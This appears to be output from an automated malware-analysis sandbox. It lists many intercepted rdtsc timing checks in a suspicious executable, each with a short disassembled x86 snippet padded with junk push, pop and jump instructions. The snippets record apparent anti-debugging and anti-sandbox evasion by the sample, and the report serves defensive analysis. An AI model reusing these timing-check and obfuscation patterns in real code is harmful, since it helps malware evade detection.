Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3FCDE second address: C3FD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5D24D0D5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5D5D24D0CBh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F5D5D24D0C6h 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C3FD0F second address: C3FD2E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D5CF5ECE6h 0x00000008 jmp 00007F5D5CF5ECF5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BED3DE second address: BED440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F5D5D24D0C8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 adc di, 5D2Dh 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F5D5D24D0C8h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 add edx, dword ptr [ebp+122D2BF0h] 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push edi 0x00000050 pop edi 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BED440 second address: BED445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BED445 second address: BED44C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C40AB1 second address: C40ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4860D second address: C48623 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5D5D24D0C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F5D5D24D0C6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C46635 second address: C4663F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5D5CF5ECE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4663F second address: C4664E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F5D5D24D0C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4664E second address: C46652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C467F4 second address: C467F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C467F8 second address: C46800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C46C4F second address: C46C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4722A second address: C47230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C47D8C second address: C47DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F5D5D24D0CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C47DA7 second address: C47DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5D5CF5ECE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C48076 second address: C48081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C48081 second address: C48087 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C4B2 second address: C4C4B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C4B8 second address: C4C4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C4BE second address: C4C4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C4C3 second address: C4C4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C4C9 second address: C4C4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C620 second address: C4C62A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5D5CF5ECE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C62A second address: C4C645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F5D5D24D0CAh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F5D5D24D0C6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C93E second address: C4C942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C942 second address: C4C946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4C946 second address: C4C94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4CBF1 second address: C4CC09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5D24D0D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C4CD67 second address: C4CD71 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5D5CF5ECE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C55EBF second address: C55EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0D9h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C55EDE second address: C55EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5DD2E second address: C5DD42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F5D5D24D0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F5D5D24D0D2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5DD42 second address: C5DD48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5DD48 second address: C5DD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5DD4C second address: C5DD70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5D5CF5ECF1h 0x00000008 pop ecx 0x00000009 push ecx 0x0000000a jnc 00007F5D5CF5ECE6h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5C15B second address: C5C18B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007F5D5D24D0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5D5D24D0D9h 0x00000012 je 00007F5D5D24D0C6h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5C18B second address: C5C190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5C604 second address: C5C60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5C60A second address: C5C610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C5C610 second address: C5C62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5D5D24D0D3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C76CA1 second address: C76CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D5CF5ECE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C76CAC second address: C76CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007F5D5D24D0C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F5D5D24D0C6h 0x00000018 jmp 00007F5D5D24D0CAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C76CCE second address: C76CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C76CD2 second address: C76CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F5D5D24D0EAh 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BAECC2 second address: BAECC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: BAECC6 second address: BAECCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C7663A second address: C76649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5D5CF5ECE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C76649 second address: C7664D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C7664D second address: C7665D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8D73D second address: C8D743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8BFAC second address: C8BFED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF3h 0x00000007 jmp 00007F5D5CF5ECF5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5D5CF5ECF3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8BFED second address: C8BFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8BFF1 second address: C8BFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8BFF7 second address: C8BFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8C441 second address: C8C44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jng 00007F5D5CF5ECE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8C9AA second address: C8C9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8C9AE second address: C8C9E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF9h 0x00000007 jmp 00007F5D5CF5ECF1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8C9E2 second address: C8C9E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8D3DF second address: C8D3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8FDA3 second address: C8FDA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8FDA9 second address: C8FDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5D5CF5ECEEh 0x0000000b jng 00007F5D5CF5ECF2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C8FDC5 second address: C8FDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91F66 second address: C91F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF4h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91F80 second address: C91F87 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91C38 second address: C91C45 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5D5CF5ECE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91C45 second address: C91C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5D24D0D9h 0x00000009 popad 0x0000000a jl 00007F5D5D24D0CEh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91C6D second address: C91C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F5D5CF5ECEEh 0x0000000d jo 00007F5D5CF5ECE6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91C82 second address: C91C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: C91C96 second address: C91C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CA5261 second address: CA5265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CA5265 second address: CA529C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5D5CF5ECF7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F5D5CF5ECF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CA529C second address: CA52B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CB2F77 second address: CB2F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5D5CF5ECE6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F5D5CF5ECECh 0x00000013 jnc 00007F5D5CF5ECE6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8CA3 second address: CC8CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8CA9 second address: CC8CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8CAF second address: CC8CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5D5D24D0C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8CBA second address: CC8CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8CC0 second address: CC8CD0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5D5D24D0C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC8E40 second address: CC8E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC92A2 second address: CC92C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007F5D5D24D0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F5D5D24D0CFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC92C1 second address: CC92C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC92C5 second address: CC92D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC92D2 second address: CC92FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007F5D5CF5ECE6h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jnl 00007F5D5CF5ECECh 0x00000015 jmp 00007F5D5CF5ECEDh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC92FE second address: CC9302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC95C4 second address: CC95CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CC99E2 second address: CC99E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCB4B1 second address: CCB4B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDED8 second address: CCDEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDEDC second address: CCDEEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5D5CF5ECECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDF69 second address: CCDFBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, dword ptr [ebp+122D2BB0h] 0x00000010 push 00000004h 0x00000012 jmp 00007F5D5D24D0CBh 0x00000017 mov edx, dword ptr [ebp+122D1F06h] 0x0000001d call 00007F5D5D24D0C9h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5D5D24D0D7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: CCDFBB second address: CCDFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
